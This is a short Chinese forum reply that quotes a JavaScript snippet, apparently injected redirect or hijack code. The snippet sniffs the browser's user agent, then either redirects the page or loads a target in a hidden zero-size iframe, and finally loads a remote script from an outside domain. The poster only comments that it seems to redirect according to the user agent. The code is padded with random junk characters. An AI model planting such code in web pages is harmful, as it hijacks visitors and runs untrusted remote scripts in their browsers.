|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 2 s' C s% V# l+ H G
- var ua = navigator.userAgent.toLowerCase(),% h1 C' m# a6 `5 N v- m
- browser = {$ C, r _( f& d1 a- c8 U
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],- p z$ d) h% A( W- Z" H+ I
- opera: /opera/.test(ua),$ z* a# E5 H+ W: p7 U0 I
- maxthon: /maxthon/.test(ua),
# h! [, Y1 F7 e; T/ S7 s+ w - theworld: /theworld/.test(ua),
0 o2 W7 J# t9 ?1 S8 d - qq: /qqbrowser/.test(ua),
2 f: o) Q0 B9 L: ` - sogou: /se /.test(ua),
9 U( x3 r8 {# L" L5 y - liebao: /liebao/.test(ua),/ o3 s5 N, y; n! b0 I
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),: R0 N+ t6 C$ }+ [ k+ b
- chrome: /chrome|crios/.test(ua),
$ ^' O: z( b- Z! S+ D# l) ? - safari: /webkit/.test(ua),
- g0 c0 p, ^& F/ E- R - uc: /ucbrowser/.test(ua),2 Y: ~: {% u. J1 U+ n3 }( q$ ^( ~. F
- ie: /msie/.test(ua) && !/opera/.test(ua)
/ F/ G" v* N7 T+ e& n - };
5 I' R0 H5 a& [# u. m" W - var ver = browser.ver;: T2 H3 H4 j3 Y( h7 K; Q. m. v
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
9 A6 _. \1 m# r% e, g3 [' p# D - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
, `3 Q3 a2 s4 j& t - } else {$ b+ A. _* s7 U3 v# ~0 d4 j
- window.sc = "<iframe src=" + tourl + "></iframe>";
+ S( j! v% b$ G - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");3 R1 v2 w3 L/ l2 q6 `3 K
- }
. m; J j0 Z7 i( w - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
& {- Q+ A1 C& Q
+ n& Z4 k, |- a7 m9 M: H8 T" x0 h$ B好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|